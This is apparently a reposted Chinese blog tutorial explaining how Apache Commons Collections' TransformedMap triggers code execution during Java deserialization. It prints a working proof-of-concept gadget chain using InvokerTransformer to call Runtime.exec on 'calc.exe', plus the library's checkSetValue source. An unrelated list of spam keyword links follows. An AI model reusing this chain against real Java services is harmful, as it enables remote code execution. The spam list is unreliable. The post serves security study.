java反序列化 - transformedMap类可以执行恶意代码的原理
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,java反序列化 - transformedMap类可以执行恶意代码的原理0x00 代码Map map=new HashMap(); map.put("key","value");
千家信息网最后更新 2026年11月01日java反序列化 - transformedMap类可以执行恶意代码的原理
java反序列化 - transformedMap类可以执行恶意代码的原理
0x00 代码
Map map=new HashMap(); map.put("key","value"); //调用目标对象的toString方法 String command="calc.exe"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs) }; Transformer transformer=new ChainedTransformer(transformers); Map transformedMap=TransformedMap.decorate(map,null,transformer); for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); } 执行结果:
0x01 transformedMap类为什么可以执行恶意代码?
通过上一篇https://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法可以执行恶意代码。
上述代码的关键是:
for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); } 为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:
/** * Override to transform the value when using setValue. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }当transformedMap对象执行setValue方法时会调用valueTransformer的transform方法,如果传入的valueTransformer是ChainedTransformer的对象,那不就可以造成恶意代码执行了吗。
接着查看上面代码:
因此该代码的核心还是使用的ChainedTransformer的transformer方法
代码
方法
恶意
对象
原理
序列
接下来
关键
文章
核心
目标
结果
还是
上一
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
咖啡网
手磨咖啡
互联网巨头反垄断金融科技
美国互联网科技
友谊互联网络科技
互联网 新科技
互联网科技公司招聘
互联网企业和科技型企业
受益于互联网科技的高速发展
互联网金融中的现代科技
电子科技大学互联网创业大赛
科技互联网海报
四川互联网展示科技馆设计
卡尔迅互联网科技有限公司
宁波跨境商互联网科技有限公司
马化腾互联网科技教学
杭州融税互联网科技有限公司
平安好医生打造互联网科技医疗
科技互联网企业在行动
现代科技的标志之一的互联网
互联网科技公司排名
为想互联网科技怎么样
互联网科技工作委员会毛军
深圳卡尔迅互联网科技有限公司怎么样
哈尔滨新华互联网科技学院
赶超互联网科技 微信多开
上海京穆互联网科技有限公司
城市宝互联网科技有限公司
吉林省码上互联网科技电话
保山互联网科技靠谱吗